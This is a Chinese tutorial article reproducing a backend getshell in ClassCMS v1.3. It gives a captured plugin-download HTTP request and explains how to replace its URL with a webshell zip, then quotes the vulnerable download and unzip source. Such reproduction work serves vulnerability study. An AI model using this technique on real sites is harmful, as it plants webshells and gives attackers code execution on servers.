千家信息网

如何进行ClassCMS后台getshell 复现

发表于:2025-12-01 作者:千家信息网编辑
千家信息网最后更新 2025年12月01日,如何进行ClassCMS后台getshell 复现,很多新手对此不是很清楚,为了帮助大家解决这个难题,下面小编将为大家详细讲解,有这方面需求的人可以来学习下,希望你能有所收获。ClassCMS 简介C
千家信息网最后更新 2025年12月01日如何进行ClassCMS后台getshell 复现

如何进行ClassCMS后台getshell 复现,很多新手对此不是很清楚,为了帮助大家解决这个难题,下面小编将为大家详细讲解,有这方面需求的人可以来学习下,希望你能有所收获。

ClassCMS 简介

ClassCMS 官网 :https://classcms.com/

ClassCMS是一款简洁灵活的开源内容管理系统,可以非常方便的通过它来快速开发各种网站应用。

兼容PHP5.2--PHP8.0,在APACHE、NGINX、IIS上都能使用,默认支持MySQL SQLite两种数据库,支持上百万数据量。

系统没有多余的功能,整体安装包不到1M(去掉编辑器与Layui后不到300KB),拥有完善与灵活的应用插件机制,常用功能均可制作成应用插件.

系统模板语言简单,只需要懂HTML+CSS即可制作简单的网站模板.


后台页面基于Layui制作,自适应页面,在手机端也有不错的使用体验.

通过后台模型,可以快速增加栏目,支持无限级栏目,栏目网址支持中文.

拥有各类输入框类型,能快速扩展文章字段,栏目变量,用户属性,通过应用插件也可方便的扩展制作各类输入框.

后台有完善的权限体系,可自定义每个角色的权限,,可自定义栏目与输入框与的查看修改权限.

ClassCMS 后台Getshell 黑盒测试复现

ClassCMS下载最新版本 v1.3

程序下载解压过后如下图

搭建环境并启动

配置好配置

打开应用管理--应用商店

随便点击某个应用进行下载

点击下载时进行抓包

获取一下返回包

这个时候会返回一个插件下载地址

继续Forward

POST /admin/?do=shop:downloadClass&ajax=1 HTTP/1.1Host: 192.168.253.1:8013Content-Length: 142Accept: application/json, text/javascript, */*; q=0.01X-Requested-With: XMLHttpRequestUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.104 Safari/537.36Content-Type: application/x-www-form-urlencoded; charset=UTF-8Origin: http://192.168.253.1:8013Referer: http://192.168.253.1:8013/admin/?do=shop:index&bread=304%E7%BC%93%E5%AD%98%E6%8F%92%E4%BB%B6&action=detail&classhash=cache304Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Cookie: token_43f1a9=53f68d86f94ad3c93551924e77d0e91a; csrf_43f1a9=5f5244ceConnection: closeclasshash=cache304&url=http%3A%2F%2Fclasscms.com%2Fshop%2F%3Faction%3Ddownload%26version%3D1.0%26classhash%3Dcache304%26token%3D&csrf=5f5244ce

向 /admin/?do=shop:downloadClass&ajax=1 POST 了一个插件地址和插件名称

新建一个小马并压缩

上传到服务器,并能够下载的地方,也可以在网站处寻找文件上传的地方

修改网址为压缩包的地址

然后访问

http://192.168.253.1:8013/class/cache304/index.php

已经成功上传了小马

ClassCMS 后台Getshell 白盒测试复现

直接查看/class/shop/shop.php 的第82行

直接调用了this:download函数

function download($url,$filepath) {$curl=curl_init();curl_setopt($curl,CURLOPT_URL,$url);if(!$fp = @fopen ($filepath,'w+')) {Return false;}curl_setopt($curl,CURLOPT_FILE, $fp);curl_setopt($curl,CURLOPT_CONNECTTIMEOUT,10);curl_setopt($curl,CURLOPT_TIMEOUT,300);curl_setopt($curl,CURLOPT_SSL_VERIFYPEER,FALSE);curl_setopt($curl,CURLOPT_SSL_VERIFYHOST,FALSE);$info=curl_exec($curl);$httpinfo=curl_getinfo($curl);curl_close($curl);fclose($fp);if($httpinfo['http_code']>=300) {@unlink($filepath);Return false;}Return $info;}}

然后再到92行

if(C('cms:class:unzip',$classfile,$classdir)) {@unlink($classfile);if(C('cms:class:refresh',$classhash)) {echo(json_encode(array('msg'=>"下载完成,请在应用管理页面中安装此应用")));Return ;}else {echo(json_encode(array('msg'=>"安装包格式错误,请重试",'error'=>1)));Return ;}}else{@unlink($classfile);echo(json_encode(array('msg'=>"安装包解压失败,请重试",'error'=>1)));Return ;}

调用了/cms/class.php 下面的unzip方法

function unzip($src_file, $dest_dir=false, $create_zip_name_dir=true, $overwrite=true) {if(class_exists('ZipArchive')) {$zip = new ZipArchive;if ($zip->open($src_file) === TRUE){if(@$zip->extractTo($dest_dir)) {$zip->close();Return true;}$zip->close();}}elseif(function_exists('zip_open')) {if(!cms_createdir($dest_dir)) {Return false;}if ($zip = zip_open($src_file)){if ($zip){if($create_zip_name_dir){$splitter='.';}else {$splitter='/';}if ($dest_dir === false){$dest_dir = substr($src_file, 0, strrpos($src_file, $splitter))."/";}while ($zip_entry = @zip_read($zip)){$pos_last_slash = strrpos(zip_entry_name($zip_entry), "/");if ($pos_last_slash !== false){cms_createdir($dest_dir.substr(zip_entry_name($zip_entry), 0, $pos_last_slash+1));}if (zip_entry_open($zip,$zip_entry,"r")){$file_name = $dest_dir.zip_entry_name($zip_entry);if ($overwrite === true || $overwrite === false && !is_file($file_name)){$fstream = zip_entry_read($zip_entry, zip_entry_filesize($zip_entry));@file_put_contents($file_name, $fstream);}zip_entry_close($zip_entry);}}@zip_close($zip);}Return true;}}Return false;}

直接就会将下载的文件进行解压,从而构成后台getshell

看完上述内容是否对您有帮助呢?如果还想对相关知识有进一步的了解或阅读更多相关文章,请关注行业资讯频道,感谢您对的支持。

应用 后台 插件 栏目 支持 制作 地址 权限 系统 网站 页面 管理 输入 内容 功能 地方 小马 数据 文件 文章 数据库的安全要保护哪些东西 数据库安全各自的含义是什么 生产安全数据库录入 数据库的安全性及管理 数据库安全策略包含哪些 海淀数据库安全审计系统 建立农村房屋安全信息数据库 易用的数据库客户端支持安全管理 连接数据库失败ssl安全错误 数据库的锁怎样保障安全 网络安全自动注册工具 高职学生网络安全调查报告 网络安全法治进校园的黑板报 专业网络技术培训排行前十 mdf恢复数据库 ea怎么画数据库关联表 商品信息数据库创建 网络技术就是安网线的吗 香港云服务器39元 数据库表数量与性能关系 互联网网络技术入门 长沙魔塔网络技术有限公司 云主机没有数据库权限 物联网软件开发需要学习什么 哈利波特一个服务器才能一起玩吗 健康成长网络安全课 湖南塔斯通网络技术公司 农业总行软件开发待遇 手机邮箱登录的数据库设计 长虹电视服务器异常怎么回事 净网网络安全案例 培养网络安全专业人才 linux服务器设置电池选项 中微半导体软件开发待遇 崇明区网络技术维保 徐州新一代服务器哪个厂家质量好 剑侠情缘山东服务器 青少年网络安全宣讲教育活动 湖北挑水郎网络技术有限公司 背包编辑器怎么在服务器打开
0